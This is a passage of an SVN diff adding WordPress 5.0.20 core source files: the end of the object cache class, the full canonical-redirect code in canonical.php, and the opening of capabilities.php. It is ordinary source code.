+		echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />";
+		echo "</p>";
+		echo '<ul>';
+		foreach ($this->cache as $group => $cache) {
+			echo '<li><strong>Group:</strong> ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )</li>';
+		}
+		echo '</ul>';
+	}
+
+	/**
+	 * Switches the internal blog ID.
+	 *
+	 * This changes the blog ID used to create keys in blog specific groups.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $blog_id Blog ID.
+	 */
+	public function switch_to_blog( $blog_id ) {
+		$blog_id = (int) $blog_id;
+		$this->blog_prefix = $this->multisite ? $blog_id . ':' : '';
+	}
+
+	/**
+	 * Serves as a utility function to determine whether a key exists in the cache.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param int|string $key   Cache key to check for existence.
+	 * @param string     $group Cache group for the key existence check.
+	 * @return bool Whether the key exists in the cache for the given group.
+	 */
+	protected function _exists( $key, $group ) {
+		return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) );
+	}
+
+	/**
+	 * Sets up object properties; PHP 5 style constructor.
+	 *
+	 * @since 2.0.8
+	 */
+	public function __construct() {
+		$this->multisite = is_multisite();
+		$this->blog_prefix =  $this->multisite ? get_current_blog_id() . ':' : '';
+
+
+		/**
+		 * @todo This should be moved to the PHP4 style constructor, PHP5
+		 * already calls __destruct()
+		 */
+		register_shutdown_function( array( $this, '__destruct' ) );
+	}
+
+	/**
+	 * Saves the object cache before object is completely destroyed.
+	 *
+	 * Called upon object destruction, which should be when PHP ends.
+	 *
+	 * @since 2.0.8
+	 *
+	 * @return true Always returns true.
+	 */
+	public function __destruct() {
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/canonical.php
===================================================================
--- /tags/5.0.20/src/wp-includes/canonical.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/canonical.php	(revision 56912)
@@ -0,0 +1,678 @@
+<?php
+/**
+ * Canonical API to handle WordPress Redirecting
+ *
+ * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
+ * by Mark Jaquith
+ *
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Redirects incoming links to the proper URL based on the site url.
+ *
+ * Search engines consider www.somedomain.com and somedomain.com to be two
+ * different URLs when they both go to the same location. This SEO enhancement
+ * prevents penalty for duplicate content by redirecting all incoming links to
+ * one or the other.
+ *
+ * Prevents redirection for feeds, trackbacks, searches, and
+ * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
+ * page/post previews, WP admin, Trackbacks, robots.txt, searches, or on POST
+ * requests.
+ *
+ * Will also attempt to find the correct link when a user enters a URL that does
+ * not exist based on exact WordPress query. Will instead try to parse the URL
+ * or query in an attempt to figure the correct page to go to.
+ *
+ * @since 2.3.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ * @global bool $is_IIS
+ * @global WP_Query $wp_query
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global WP $wp Current WordPress environment instance. 
+ *
+ * @param string $requested_url Optional. The URL that was requested, used to
+ *		figure if redirect is needed.
+ * @param bool $do_redirect Optional. Redirect to the new URL.
+ * @return string|void The string of the URL, if redirect needed.
+ */
+function redirect_canonical( $requested_url = null, $do_redirect = true ) {
+	global $wp_rewrite, $is_IIS, $wp_query, $wpdb, $wp;
+
+	if ( isset( $_SERVER['REQUEST_METHOD'] ) && ! in_array( strtoupper( $_SERVER['REQUEST_METHOD'] ), array( 'GET', 'HEAD' ) ) ) {
+		return;
+	}
+
+	// If we're not in wp-admin and the post has been published and preview nonce
+	// is non-existent or invalid then no need for preview in query
+	if ( is_preview() && get_query_var( 'p' ) && 'publish' == get_post_status( get_query_var( 'p' ) ) ) {
+		if ( ! isset( $_GET['preview_id'] )
+			|| ! isset( $_GET['preview_nonce'] )
+			|| ! wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . (int) $_GET['preview_id'] ) ) {
+			$wp_query->is_preview = false;
+		}
+	}
+
+	if ( is_trackback() || is_search() || is_admin() || is_preview() || is_robots() || ( $is_IIS && !iis7_supports_permalinks() ) ) {
+		return;
+	}
+
+	if ( ! $requested_url && isset( $_SERVER['HTTP_HOST'] ) ) {
+		// build the URL in the address bar
+		$requested_url  = is_ssl() ? 'https://' : 'http://';
+		$requested_url .= $_SERVER['HTTP_HOST'];
+		$requested_url .= $_SERVER['REQUEST_URI'];
+	}
+
+	$original = @parse_url($requested_url);
+	if ( false === $original ) {
+		return;
+	}
+
+	$redirect = $original;
+	$redirect_url = false;
+
+	// Notice fixing
+	if ( !isset($redirect['path']) )
+		$redirect['path'] = '';
+	if ( !isset($redirect['query']) )
+		$redirect['query'] = '';
+
+	// If the original URL ended with non-breaking spaces, they were almost
+	// certainly inserted by accident. Let's remove them, so the reader doesn't
+	// see a 404 error with no obvious cause.
+	$redirect['path'] = preg_replace( '|(%C2%A0)+$|i', '', $redirect['path'] );
+
+	// It's not a preview, so remove it from URL
+	if ( get_query_var( 'preview' ) ) {
+		$redirect['query'] = remove_query_arg( 'preview', $redirect['query'] );
+	}
+
+	if ( is_feed() && ( $id = get_query_var( 'p' ) ) ) {
+		if ( $redirect_url = get_post_comments_feed_link( $id, get_query_var( 'feed' ) ) ) {
+			$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed'), $redirect_url );
+			$redirect['path'] = parse_url( $redirect_url, PHP_URL_PATH );
+		}
+	}
+
+	if ( is_singular() && 1 > $wp_query->post_count && ($id = get_query_var('p')) ) {
+
+		$vars = $wpdb->get_results( $wpdb->prepare("SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $id) );
+
+		if ( isset($vars[0]) && $vars = $vars[0] ) {
+			if ( 'revision' == $vars->post_type && $vars->post_parent > 0 )
+				$id = $vars->post_parent;
+
+			if ( $redirect_url = get_permalink($id) )
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+		}
+	}
+
+	// These tests give us a WP-generated permalink
+	if ( is_404() ) {
+
+		// Redirect ?page_id, ?p=, ?attachment_id= to their respective url's
+		$id = max( get_query_var('p'), get_query_var('page_id'), get_query_var('attachment_id') );
+		if ( $id && $redirect_post = get_post($id) ) {
+			$post_type_obj = get_post_type_object($redirect_post->post_type);
+			if ( $post_type_obj->public && 'auto-draft' != $redirect_post->post_status ) {
+				$redirect_url = get_permalink($redirect_post);
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+			}
+		}
+
+		if ( get_query_var( 'day' ) && get_query_var( 'monthnum' ) && get_query_var( 'year' ) ) {
+			$year  = get_query_var( 'year' );
+			$month = get_query_var( 'monthnum' );
+			$day   = get_query_var( 'day' );
+			$date  = sprintf( '%04d-%02d-%02d', $year, $month, $day );
+			if ( ! wp_checkdate( $month, $day, $year, $date ) ) {
+				$redirect_url = get_month_link( $year, $month );
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum', 'day' ), $redirect_url );
+			}
+		} elseif ( get_query_var( 'monthnum' ) && get_query_var( 'year' ) && 12 < get_query_var( 'monthnum' ) ) {
+			$redirect_url = get_year_link( get_query_var( 'year' ) );
+			$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'year', 'monthnum' ), $redirect_url );
+		}
+
+		if ( ! $redirect_url ) {
+			if ( $redirect_url = redirect_guess_404_permalink() ) {
+				$redirect['query'] = _remove_qs_args_if_not_in_url( $redirect['query'], array( 'page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ), $redirect_url );
+			}
+		}
+
+		if ( get_query_var( 'page' ) && $wp_query->post &&
+			false !== strpos( $wp_query->post->post_content, '<!--nextpage-->' ) ) {
+			$redirect['path'] = rtrim( $redirect['path'], (int) get_query_var( 'page' ) . '/' );
+			$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
+			$redirect_url = get_permalink( $wp_query->post->ID );
+		}
+
+	} elseif ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) {
+		// rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101
+		if ( is_attachment() &&
+			! array_diff( array_keys( $wp->query_vars ), array( 'attachment', 'attachment_id' ) ) &&
+			! $redirect_url ) {
+			if ( ! empty( $_GET['attachment_id'] ) ) {
+				$redirect_url = get_attachment_link( get_query_var( 'attachment_id' ) );
+				if ( $redirect_url ) {
+					$redirect['query'] = remove_query_arg( 'attachment_id', $redirect['query'] );
+				}
+			} else {
+				$redirect_url = get_attachment_link();
+			}
+		} elseif ( is_single() && !empty($_GET['p']) && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_query_var('p')) )
+				$redirect['query'] = remove_query_arg(array('p', 'post_type'), $redirect['query']);
+		} elseif ( is_single() && !empty($_GET['name'])  && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink( $wp_query->get_queried_object_id() ) )
+				$redirect['query'] = remove_query_arg('name', $redirect['query']);
+		} elseif ( is_page() && !empty($_GET['page_id']) && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_query_var('page_id')) )
+				$redirect['query'] = remove_query_arg('page_id', $redirect['query']);
+		} elseif ( is_page() && !is_feed() && 'page' == get_option('show_on_front') && get_queried_object_id() == get_option('page_on_front')  && ! $redirect_url ) {
+			$redirect_url = home_url('/');
+		} elseif ( is_home() && !empty($_GET['page_id']) && 'page' == get_option('show_on_front') && get_query_var('page_id') == get_option('page_for_posts')  && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_option('page_for_posts')) )
+				$redirect['query'] = remove_query_arg('page_id', $redirect['query']);
+		} elseif ( !empty($_GET['m']) && ( is_year() || is_month() || is_day() ) ) {
+			$m = get_query_var('m');
+			switch ( strlen($m) ) {
+				case 4: // Yearly
+					$redirect_url = get_year_link($m);
+					break;
+				case 6: // Monthly
+					$redirect_url = get_month_link( substr($m, 0, 4), substr($m, 4, 2) );
+					break;
+				case 8: // Daily
+					$redirect_url = get_day_link(substr($m, 0, 4), substr($m, 4, 2), substr($m, 6, 2));
+					break;
+			}
+			if ( $redirect_url )
+				$redirect['query'] = remove_query_arg('m', $redirect['query']);
+		// now moving on to non ?m=X year/month/day links
+		} elseif ( is_day() && get_query_var('year') && get_query_var('monthnum') && !empty($_GET['day']) ) {
+			if ( $redirect_url = get_day_link(get_query_var('year'), get_query_var('monthnum'), get_query_var('day')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum', 'day'), $redirect['query']);
+		} elseif ( is_month() && get_query_var('year') && !empty($_GET['monthnum']) ) {
+			if ( $redirect_url = get_month_link(get_query_var('year'), get_query_var('monthnum')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum'), $redirect['query']);
+		} elseif ( is_year() && !empty($_GET['year']) ) {
+			if ( $redirect_url = get_year_link(get_query_var('year')) )
+				$redirect['query'] = remove_query_arg('year', $redirect['query']);
+		} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) {
+			$author = get_userdata(get_query_var('author'));
+			if ( ( false !== $author ) && $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE $wpdb->posts.post_author = %d AND $wpdb->posts.post_status = 'publish' LIMIT 1", $author->ID ) ) ) {
+				if ( $redirect_url = get_author_posts_url($author->ID, $author->user_nicename) )
+					$redirect['query'] = remove_query_arg('author', $redirect['query']);
+			}
+		} elseif ( is_category() || is_tag() || is_tax() ) { // Terms (Tags/categories)
+
+			$term_count = 0;
+			foreach ( $wp_query->tax_query->queried_terms as $tax_query )
+				$term_count += count( $tax_query['terms'] );
+
+			$obj = $wp_query->get_queried_object();
+			if ( $term_count <= 1 && !empty($obj->term_id) && ( $tax_url = get_term_link((int)$obj->term_id, $obj->taxonomy) ) && !is_wp_error($tax_url) ) {
+				if ( !empty($redirect['query']) ) {
+					// Strip taxonomy query vars off the url.
+					$qv_remove = array( 'term', 'taxonomy');
+					if ( is_category() ) {
+						$qv_remove[] = 'category_name';
+						$qv_remove[] = 'cat';
+					} elseif ( is_tag() ) {
+						$qv_remove[] = 'tag';
+						$qv_remove[] = 'tag_id';
+					} else { // Custom taxonomies will have a custom query var, remove those too:
+						$tax_obj = get_taxonomy( $obj->taxonomy );
+						if ( false !== $tax_obj->query_var )
+							$qv_remove[] = $tax_obj->query_var;
+					}
+
+					$rewrite_vars = array_diff( array_keys($wp_query->query), array_keys($_GET) );
+
+					if ( !array_diff($rewrite_vars, array_keys($_GET))  ) { // Check to see if all the Query vars are coming from the rewrite, none are set via $_GET
+						$redirect['query'] = remove_query_arg($qv_remove, $redirect['query']); //Remove all of the per-tax qv's
+
+						// Create the destination url for this taxonomy
+						$tax_url = parse_url($tax_url);
+						if ( ! empty($tax_url['query']) ) { // Taxonomy accessible via ?taxonomy=..&term=.. or any custom qv..
+							parse_str($tax_url['query'], $query_vars);
+							$redirect['query'] = add_query_arg($query_vars, $redirect['query']);
+						} else { // Taxonomy is accessible via a "pretty-URL"
+							$redirect['path'] = $tax_url['path'];
+						}
+
+					} else { // Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite
+						foreach ( $qv_remove as $_qv ) {
+							if ( isset($rewrite_vars[$_qv]) )
+								$redirect['query'] = remove_query_arg($_qv, $redirect['query']);
+						}
+					}
+				}
+
+			}
+		} elseif ( is_single() && strpos($wp_rewrite->permalink_structure, '%category%') !== false && $cat = get_query_var( 'category_name' ) ) {
+			$category = get_category_by_path( $cat );
+			if ( ( ! $category || is_wp_error( $category ) ) || ! has_term( $category->term_id, 'category', $wp_query->get_queried_object_id() ) ) {
+				$redirect_url = get_permalink($wp_query->get_queried_object_id());
+			}
+		}
+
+		// Post Paging
+		if ( is_singular() && get_query_var('page') ) {
+			if ( !$redirect_url )
+				$redirect_url = get_permalink( get_queried_object_id() );
+
+			$page = get_query_var( 'page' );
+			if ( $page > 1 ) {
+				if ( is_front_page() ) {
+					$redirect_url = trailingslashit( $redirect_url ) . user_trailingslashit( "$wp_rewrite->pagination_base/$page", 'paged' );
+				} else {
+					$redirect_url = trailingslashit( $redirect_url ) . user_trailingslashit( $page, 'single_paged' );
+				}
+			}
+			$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
+		}
+
+		// paging and feeds
+		if ( get_query_var('paged') || is_feed() || get_query_var('cpage') ) {
+			while ( preg_match( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", $redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss|rdf|atom|rss2)(/+)?$#', $redirect['path'] ) || preg_match( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+(/+)?$#", $redirect['path'] ) ) {
+				// Strip off paging and feed
+				$redirect['path'] = preg_replace("#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", '/', $redirect['path']); // strip off any existing paging
+				$redirect['path'] = preg_replace('#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $redirect['path']); // strip off feed endings
+				$redirect['path'] = preg_replace("#/{$wp_rewrite->comments_pagination_base}-[0-9]+?(/+)?$#", '/', $redirect['path']); // strip off any existing comment paging
+			}
+
+			$addl_path = '';
+			if ( is_feed() && in_array( get_query_var('feed'), $wp_rewrite->feeds ) ) {
+				$addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : '';
+				if ( !is_singular() && get_query_var( 'withcomments' ) )
+					$addl_path .= 'comments/';
+				if ( ( 'rss' == get_default_feed() && 'feed' == get_query_var('feed') ) || 'rss' == get_query_var('feed') )
+					$addl_path .= user_trailingslashit( 'feed/' . ( ( get_default_feed() == 'rss2' ) ? '' : 'rss2' ), 'feed' );
+				else
+					$addl_path .= user_trailingslashit( 'feed/' . ( ( get_default_feed() ==  get_query_var('feed') || 'feed' == get_query_var('feed') ) ? '' : get_query_var('feed') ), 'feed' );
+				$redirect['query'] = remove_query_arg( 'feed', $redirect['query'] );
+			} elseif ( is_feed() && 'old' == get_query_var('feed') ) {
+				$old_feed_files = array(
+					'wp-atom.php'         => 'atom',
+					'wp-commentsrss2.php' => 'comments_rss2',
+					'wp-feed.php'         => get_default_feed(),
+					'wp-rdf.php'          => 'rdf',
+					'wp-rss.php'          => 'rss2',
+					'wp-rss2.php'         => 'rss2',
+				);
+				if ( isset( $old_feed_files[ basename( $redirect['path'] ) ] ) ) {
+					$redirect_url = get_feed_link( $old_feed_files[ basename( $redirect['path'] ) ] );
+					wp_redirect( $redirect_url, 301 );
+					die();
+				}
+			}
+
+			if ( get_query_var('paged') > 0 ) {
+				$paged = get_query_var('paged');
+				$redirect['query'] = remove_query_arg( 'paged', $redirect['query'] );
+				if ( !is_feed() ) {
+					if ( $paged > 1 && !is_single() ) {
+						$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit("$wp_rewrite->pagination_base/$paged", 'paged');
+					} elseif ( !is_single() ) {
+						$addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : '';
+					}
+				} elseif ( $paged > 1 ) {
+					$redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] );
+				}
+			}
+
+			if ( get_option( 'page_comments' ) && (
+				( 'newest' == get_option( 'default_comments_page' ) && get_query_var( 'cpage' ) > 0 ) ||
+				( 'newest' != get_option( 'default_comments_page' ) && get_query_var( 'cpage' ) > 1 )
+			) ) {
+				$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit( $wp_rewrite->comments_pagination_base . '-' . get_query_var('cpage'), 'commentpaged' );
+				$redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] );
+			}
+
+			$redirect['path'] = user_trailingslashit( preg_replace('|/' . preg_quote( $wp_rewrite->index, '|' ) . '/?$|', '/', $redirect['path']) ); // strip off trailing /index.php/
+			if ( !empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos($redirect['path'], '/' . $wp_rewrite->index . '/') === false )
+				$redirect['path'] = trailingslashit($redirect['path']) . $wp_rewrite->index . '/';
+			if ( !empty( $addl_path ) )
+				$redirect['path'] = trailingslashit($redirect['path']) . $addl_path;
+			$redirect_url = $redirect['scheme'] . '://' . $redirect['host'] . $redirect['path'];
+		}
+
+		if ( 'wp-register.php' == basename( $redirect['path'] ) ) {
+			if ( is_multisite() ) {
+				/** This filter is documented in wp-login.php */
+				$redirect_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
+			} else {
+				$redirect_url = wp_registration_url();
+			}
+
+			wp_redirect( $redirect_url, 301 );
+			die();
+		}
+	}
+
+	// tack on any additional query vars
+	$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	if ( $redirect_url && !empty($redirect['query']) ) {
+		parse_str( $redirect['query'], $_parsed_query );
+		$redirect = @parse_url($redirect_url);
+
+		if ( ! empty( $_parsed_query['name'] ) && ! empty( $redirect['query'] ) ) {
+			parse_str( $redirect['query'], $_parsed_redirect_query );
+
+			if ( empty( $_parsed_redirect_query['name'] ) )
+				unset( $_parsed_query['name'] );
+		}
+
+		$_parsed_query = rawurlencode_deep( $_parsed_query );
+		$redirect_url = add_query_arg( $_parsed_query, $redirect_url );
+	}
+
+	if ( $redirect_url )
+		$redirect = @parse_url($redirect_url);
+
+	// www.example.com vs example.com
+	$user_home = @parse_url(home_url());
+	if ( !empty($user_home['host']) )
+		$redirect['host'] = $user_home['host'];
+	if ( empty($user_home['path']) )
+		$user_home['path'] = '/';
+
+	// Handle ports
+	if ( !empty($user_home['port']) )
+		$redirect['port'] = $user_home['port'];
+	else
+		unset($redirect['port']);
+
+	// trailing /index.php
+	$redirect['path'] = preg_replace('|/' . preg_quote( $wp_rewrite->index, '|' ) . '/*?$|', '/', $redirect['path']);
+
+	$punctuation_pattern = implode( '|', array_map( 'preg_quote', array(
+		' ', '%20',  // space
+		'!', '%21',  // exclamation mark
+		'"', '%22',  // double quote
+		"'", '%27',  // single quote
+		'(', '%28',  // opening bracket
+		')', '%29',  // closing bracket
+		',', '%2C',  // comma
+		'.', '%2E',  // period
+		';', '%3B',  // semicolon
+		'{', '%7B',  // opening curly bracket
+		'}', '%7D',  // closing curly bracket
+		'%E2%80%9C', // opening curly quote
+		'%E2%80%9D', // closing curly quote
+	) ) );
+
+	// Remove trailing spaces and end punctuation from the path.
+	$redirect['path'] = preg_replace( "#($punctuation_pattern)+$#", '', $redirect['path'] );
+
+	if ( !empty( $redirect['query'] ) ) {
+		// Remove trailing spaces and end punctuation from certain terminating query string args.
+		$redirect['query'] = preg_replace( "#((p|page_id|cat|tag)=[^&]*?)($punctuation_pattern)+$#", '$1', $redirect['query'] );
+
+		// Clean up empty query strings
+		$redirect['query'] = trim(preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query']), '&');
+
+		// Redirect obsolete feeds
+		$redirect['query'] = preg_replace( '#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $redirect['query'] );
+
+		// Remove redundant leading ampersands
+		$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	}
+
+	// strip /index.php/ when we're not using PATHINFO permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$redirect['path'] = str_replace( '/' . $wp_rewrite->index . '/', '/', $redirect['path'] );
+
+	// trailing slashes
+	if ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() && !is_404() && (!is_front_page() || ( is_front_page() && (get_query_var('paged') > 1) ) ) ) {
+		$user_ts_type = '';
+		if ( get_query_var('paged') > 0 ) {
+			$user_ts_type = 'paged';
+		} else {
+			foreach ( array('single', 'category', 'page', 'day', 'month', 'year', 'home') as $type ) {
+				$func = 'is_' . $type;
+				if ( call_user_func($func) ) {
+					$user_ts_type = $type;
+					break;
+				}
+			}
+		}
+		$redirect['path'] = user_trailingslashit($redirect['path'], $user_ts_type);
+	} elseif ( is_front_page() ) {
+		$redirect['path'] = trailingslashit($redirect['path']);
+	}
+
+	// Strip multiple slashes out of the URL
+	if ( strpos($redirect['path'], '//') > -1 )
+		$redirect['path'] = preg_replace('|/+|', '/', $redirect['path']);
+
+	// Always trailing slash the Front Page URL
+	if ( trailingslashit( $redirect['path'] ) == trailingslashit( $user_home['path'] ) )
+		$redirect['path'] = trailingslashit($redirect['path']);
+
+	// Ignore differences in host capitalization, as this can lead to infinite redirects
+	// Only redirect no-www <=> yes-www
+	if ( strtolower($original['host']) == strtolower($redirect['host']) ||
+		( strtolower($original['host']) != 'www.' . strtolower($redirect['host']) && 'www.' . strtolower($original['host']) != strtolower($redirect['host']) ) )
+		$redirect['host'] = $original['host'];
+
+	$compare_original = array( $original['host'], $original['path'] );
+
+	if ( !empty( $original['port'] ) )
+		$compare_original[] = $original['port'];
+
+	if ( !empty( $original['query'] ) )
+		$compare_original[] = $original['query'];
+
+	$compare_redirect = array( $redirect['host'], $redirect['path'] );
+
+	if ( !empty( $redirect['port'] ) )
+		$compare_redirect[] = $redirect['port'];
+
+	if ( !empty( $redirect['query'] ) )
+		$compare_redirect[] = $redirect['query'];
+
+	if ( $compare_original !== $compare_redirect ) {
+		$redirect_url = $redirect['scheme'] . '://' . $redirect['host'];
+		if ( !empty($redirect['port']) )
+			$redirect_url .= ':' . $redirect['port'];
+		$redirect_url .= $redirect['path'];
+		if ( !empty($redirect['query']) )
+			$redirect_url .= '?' . $redirect['query'];
+	}
+
+	if ( ! $redirect_url || $redirect_url == $requested_url ) {
+		return;
+	}
+
+	// Hex encoded octets are case-insensitive.
+	if ( false !== strpos($requested_url, '%') ) {
+		if ( !function_exists('lowercase_octets') ) {
+			/**
+			 * Converts the first hex-encoded octet match to lowercase.
+			 *
+			 * @since 3.1.0
+			 * @ignore
+			 *
+			 * @param array $matches Hex-encoded octet matches for the requested URL.
+			 * @return string Lowercased version of the first match.
+			 */
+			function lowercase_octets($matches) {
+				return strtolower( $matches[0] );
+			}
+		}
+		$requested_url = preg_replace_callback('|%[a-fA-F0-9][a-fA-F0-9]|', 'lowercase_octets', $requested_url);
+	}
+
+	/**
+	 * Filters the canonical redirect URL.
+	 *
+	 * Returning false to this filter will cancel the redirect.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $redirect_url  The redirect URL.
+	 * @param string $requested_url The requested URL.
+	 */
+	$redirect_url = apply_filters( 'redirect_canonical', $redirect_url, $requested_url );
+
+	// yes, again -- in case the filter aborted the request
+	if ( ! $redirect_url || strip_fragment_from_url( $redirect_url ) == strip_fragment_from_url( $requested_url ) ) {
+		return;
+	}
+
+	if ( $do_redirect ) {
+		// protect against chained redirects
+		if ( !redirect_canonical($redirect_url, false) ) {
+			wp_redirect($redirect_url, 301);
+			exit();
+		} else {
+			// Debug
+			// die("1: $redirect_url<br />2: " . redirect_canonical( $redirect_url, false ) );
+			return;
+		}
+	} else {
+		return $redirect_url;
+	}
+}
+
+/**
+ * Removes arguments from a query string if they are not present in a URL
+ * DO NOT use this in plugin code.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $query_string
+ * @param array $args_to_check
+ * @param string $url
+ * @return string The altered query string
+ */
+function _remove_qs_args_if_not_in_url( $query_string, Array $args_to_check, $url ) {
+	$parsed_url = @parse_url( $url );
+	if ( ! empty( $parsed_url['query'] ) ) {
+		parse_str( $parsed_url['query'], $parsed_query );
+		foreach ( $args_to_check as $qv ) {
+			if ( !isset( $parsed_query[$qv] ) )
+				$query_string = remove_query_arg( $qv, $query_string );
+		}
+	} else {
+		$query_string = remove_query_arg( $args_to_check, $query_string );
+	}
+	return $query_string;
+}
+
+/**
+ * Strips the #fragment from a URL, if one is present.
+ *
+ * @since 4.4.0
+ *
+ * @param string $url The URL to strip.
+ * @return string The altered URL.
+ */
+function strip_fragment_from_url( $url ) {
+	$parsed_url = @parse_url( $url );
+	if ( ! empty( $parsed_url['host'] ) ) {
+		// This mirrors code in redirect_canonical(). It does not handle every case.
+		$url = $parsed_url['scheme'] . '://' . $parsed_url['host'];
+		if ( ! empty( $parsed_url['port'] ) ) {
+			$url .= ':' . $parsed_url['port'];
+		}
+
+		if ( ! empty( $parsed_url['path'] ) ) {
+			$url .= $parsed_url['path'];
+		}
+
+		if ( ! empty( $parsed_url['query'] ) ) {
+			$url .= '?' . $parsed_url['query'];
+		}
+	}
+
+	return $url;
+}
+
+/**
+ * Attempts to guess the correct URL based on query vars
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return false|string The correct URL if one is found. False on failure.
+ */
+function redirect_guess_404_permalink() {
+	global $wpdb;
+
+	if ( get_query_var('name') ) {
+		$where = $wpdb->prepare("post_name LIKE %s", $wpdb->esc_like( get_query_var('name') ) . '%');
+
+		// if any of post_type, year, monthnum, or day are set, use them to refine the query
+		if ( get_query_var('post_type') )
+			$where .= $wpdb->prepare(" AND post_type = %s", get_query_var('post_type'));
+		else
+			$where .= " AND post_type IN ('" . implode( "', '", get_post_types( array( 'public' => true ) ) ) . "')";
+
+		if ( get_query_var('year') )
+			$where .= $wpdb->prepare(" AND YEAR(post_date) = %d", get_query_var('year'));
+		if ( get_query_var('monthnum') )
+			$where .= $wpdb->prepare(" AND MONTH(post_date) = %d", get_query_var('monthnum'));
+		if ( get_query_var('day') )
+			$where .= $wpdb->prepare(" AND DAYOFMONTH(post_date) = %d", get_query_var('day'));
+
+		$post_id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE $where AND post_status = 'publish'");
+		if ( ! $post_id )
+			return false;
+		if ( get_query_var( 'feed' ) )
+			return get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) );
+		elseif ( get_query_var( 'page' ) && 1 < get_query_var( 'page' ) )
+			return trailingslashit( get_permalink( $post_id ) ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' );
+		else
+			return get_permalink( $post_id );
+	}
+
+	return false;
+}
+
+/**
+ * Redirects a variety of shorthand URLs to the admin.
+ *
+ * If a user visits example.com/admin, they'll be redirected to /wp-admin.
+ * Visiting /login redirects to /wp-login.php, and so on.
+ *
+ * @since 3.4.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ */
+function wp_redirect_admin_locations() {
+	global $wp_rewrite;
+	if ( ! ( is_404() && $wp_rewrite->using_permalinks() ) )
+		return;
+
+	$admins = array(
+		home_url( 'wp-admin', 'relative' ),
+		home_url( 'dashboard', 'relative' ),
+		home_url( 'admin', 'relative' ),
+		site_url( 'dashboard', 'relative' ),
+		site_url( 'admin', 'relative' ),
+	);
+	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $admins ) ) {
+		wp_redirect( admin_url() );
+		exit;
+	}
+
+	$logins = array(
+		home_url( 'wp-login.php', 'relative' ),
+		home_url( 'login', 'relative' ),
+		site_url( 'login', 'relative' ),
+	);
+	if ( in_array( untrailingslashit( $_SERVER['REQUEST_URI'] ), $logins ) ) {
+		wp_redirect( wp_login_url() );
+		exit;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/capabilities.php
===================================================================
--- /tags/5.0.20/src/wp-includes/capabilities.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/capabilities.php	(revision 56912)
@@ -0,0 +1,923 @@
+<?php
+/**
+ * Core User Role & Capabilities API
+ *
+ * @package WordPress
+ * @subpackage Users
+ */
+
+/**
+ * Map meta capabilities to primitive capabilities.
+ *
+ * This does not actually compare whether the user ID has the actual capability,
+ * just what the capability or capabilities are. Meta capability list value can
